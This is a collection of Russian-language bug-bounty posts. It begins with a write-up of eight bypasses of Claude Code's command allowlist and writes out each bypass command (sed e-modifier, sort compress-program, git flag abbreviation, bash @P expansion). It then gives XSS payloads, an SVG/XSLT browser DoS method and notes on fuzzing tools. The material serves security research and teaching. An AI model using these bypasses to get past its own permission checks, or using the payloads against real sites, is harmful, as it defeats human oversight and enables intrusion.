Command injection в Claude Code: извлекаем правильные уроки 🤖

Исследователь из Flatt Security нашел 8 способов обхода белых списков команд в Claude Code. Его подход можно и нужно использовать при поиске багов в веб-приложениях ⤵️

Под капотом Claude Code использовал регулярные выражения, которые разрешали «безопасные» команды вроде man, sort, sed, xargs. Каждый обход эксплуатировал одно из следующих свойств:

1️⃣ Опасные флаги в «безопасных» командах

🧡 man --html='touch /tmp/pwned' man — флаг --html задаёт рендерер, который выполняет произвольные команды

🧡 sort --compress-program=/bin/sh — флаг утилиты сжатия принимает исполняемые файлы

🧡 echo test | sed 's/test/touch \/tmp\/pwned/e' — модификатор e выполняет shell-команды.

2️⃣ Сокращение аргументов в Git

🧡 Git автоматически дополняет сокращённые флаги: --upload-pa превращается в --upload-pack

🧡 Regex-фильтры проверяют точные имена флагов

🧡 git ls-remote --upload-pa='...' обходит блокировку --upload-pack

3️⃣ Различная интерпретация аргументов команды

🧡 xargs -t touch echo — regex считает, что -t обрабатывает следующий аргумент, но -t является логическим значением

🧡 В итоге touch становится исполняемой командой, а не аргументом для -t

4️⃣ Расширение prompt в Bash

echo ${one="$"}${two="$one(touch /tmp/pwned)"}${two@P}

Модификатор @P интерпретирует переменную как строку промпта, который поддерживает подстановку команд.

В сочетании с присваиванием $ это позволяет вырваться из ограниченных контекстов, например при установке переменной one в $.

💬 Какой вывод можно сделать?

Любой контроль, основанный на проверке строк или «разрешённых значений», часто ломается на реальном поведении системы.

Если приложение фильтрует параметры, команды, пути, роли или действия через regex, списки допустимых значений или «безопасные» флаги — ищи расхождение между тем, что проверяет код, и тем, как это интерпретирует движок дальше.

И да: всегда читай документацию целиком. Большинство обходов лежат в man-страницах и спецификациях — просто до них никто не дошёл.

Санитайзеры могут разрешать https://, считая это автоссылкой Markdown. Но если рендерится как сырой HTML вместо тега якоря — перед тобой вектор XSS ⤴️

Маскируем XSS-пэйлоад в виде списка URL-адресов 💨

<https://site.com/x?v1/onfocus=alert().jpg 
https://site.com/x?v1/autofocus=1.jpg 
https://site.com/x?v1/tabindex=1.jpg>

Двусмысленность лексера JavaScript на практике 🤔

Некоторые ключевые слова в JS ожидают выражение. Если после них стоит /, движок трактует это как начало regex.

Следующий / закрывает регулярку, а ещё один / уже воспринимается как оператор деления — и правая часть выполняется:

<script>
    delete/delete; //alert(1)
    typeof/typeof; //alert(2)
    void/void;     //alert(3)
    throw/throw;   //alert(4)
</script>

Как заруинить Chrome пользователя: client-side DoS в Chrome через SVG и XSLT 💨

В рендер-движке Blink SVG, загружаемые как статические изображения, поддерживают XSLT-трансформации. Этим можно злоупотребить для client-side DoS.

Внутри SVG размещается XSLT с большим количеством вложенных <xsl:for-each>. При рендеринге браузер:

⚫️ Начинает активно потреблять память
⚫️ Постепенно замедляет вкладку
⚫️ Через несколько секунд приводит к зависанию или крашу вкладки (иногда браузера целиком)

Атака возможна, если:

➡️ Браузер основан на Blink (Chrome, Edge и др.)
➡️ есть возможность указать удалённое SVG-изображение
➡️ SVG загружается через img или background-image (можно использовать и другие HTML-теги/атрибуты или свойства CSS)
➡️ Отсутствует фильтрация типа контента или SVG

<img src="./dos.svg">
<div style="background-image: url('./dos.svg')">dos</div>

Типичный сценарий — HTML/CSS injection с контролем URL изображения.

Практическая применимость

✅ Client-side DoS и деградация UX
✅ Атаки на публичные страницы: профили, комментарии, ленты
✅ Проверка нестандартных векторов при HTML/CSS injection

Подобные кейсы расширяют понимание поверхности атаки и помогают находить неочевидные client-side векторы, которые могут стать частью более сложных цепочек атак 🤔

Почему AFL++ — не лучший выбор для V8 🚫

AFL++ — мощный, но не универсальный фаззер. Для браузеров нужен точечный подход. JS-движки и DOM — это другая архитектура: JIT, AST, runtime, состояние.

Если хочешь находить реальные баги — используй правильные инструменты ⤵️

➡️ JS-движок → Fuzzilli

Его отличительная черта — промежуточный язык FuzzIL, который можно мутировать и затем транслировать в JS. Этот язык обеспечивает мутированному JS семантическую валидность: даже после нескольких раундов изменений в коде остается логика, с которой движок будет работать.

➡️ DOM → Domato (есть форки и улучшения, но это один из топовых)

Как и большинство фаззеров DOM, Domato генерирует образец с нуля на основе набора грамматик, описывающих структуру HTML/CSS + различные объекты, свойства и функции JS.

➡️ Используй AFL для фаззинга медиа браузера, шрифтов или других парсеров бинарного контента.

Теги <a>/<area> могут раскрывать URL-адреса страниц + креды (источник, путь, запрос, фрагмент post-click) с помощью атрибута href="#" с атрибутом ping, указывающим на другое место.

Работает в 🌐 и 🌐 (в Firefox атрибут ping отключён по умолчанию).

При клике браузер отправляет POST-запрос, в заголовке Ping-To указывается URL. referrer-policy игнорируется — доставку ограничивает только директива connect-src в CSP.

Если страница загружена по HTTP или эндпоинт ping находится в том же origin, то ещё отправляется заголовок Ping-From с полным URL (включая фрагмент pre-click).

📌 Пример PoC

InQL v6.1.0: как новая версия делает ее универсальной тулзой для тестирования безопасности GraphQL 🚨

Когда под капотом неизвестный GraphQL-стек, самое затратное — это разведка. InQL 6.1.0 сокращает этот этап до минимума.

Используй Fingerprinter движка InQL в Burp, чтобы за считанные секунды идентифицировать стек GraphQL и избавить себя от проб и ошибок. Разберем эту и другие новые фичи подробнее ⤵️

➡️ Брутфорсер схемы GraphQL (фича вдохновлена CLI-тулзой Clairvoyance Никиты Ступина)

До сих пор InQL был наиболее полезен, когда на сервере была включена функция introspection или когда у тебя уже был файл со схемой GraphQL.

В версии 6.1.0 тулза может попытаться восстановить схему бэкенда, используя подсказки “did you mean…”, поддерживаемые многими реализациями серверов GraphQL.

➡️ GraphQL Server Engine Fingerprinter

Новая версия InQL теперь может определять движок GraphQL, используемый внутренним сервером.

В каждом движке GraphQL реализованы немного отличающиеся друг от друга средства защиты и небезопасные настройки по умолчанию.

Это открывает возможности для использования уникальных векторов атак, характерных для конкретного движка.

➡️ Автоматическая генерация переменных (дефолтные значения)

Хотя предыдущие версии InQL отлично подходили для анализа схем, поиска циклических ссылок и определения интересующих точек, создание корректного запроса могло вызывать затруднения.

Тулза не поддерживала переменные, поэтому их приходилось вводить вручную. В новой версии эта проблема решена.

HTML-элемент <geolocation> → новый вектор для эксплуатации XSS 🌐

С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент <geolocation>.

Он задумывался как удобная альтернатива navigator.geolocation, чтобы запросы локации выглядели менее подозрительно и чаще получали разрешение от пользователя.

Новые векторы уже в шпаргалке от PortSwigger:

<geolocation onvalidationstatuschange=alert(1)>
<geolocation autolocate onlocation=alert(1)>
<geolocation onpromptdismiss=alert(1)>
<geolocation onpromptaction=alert(1)>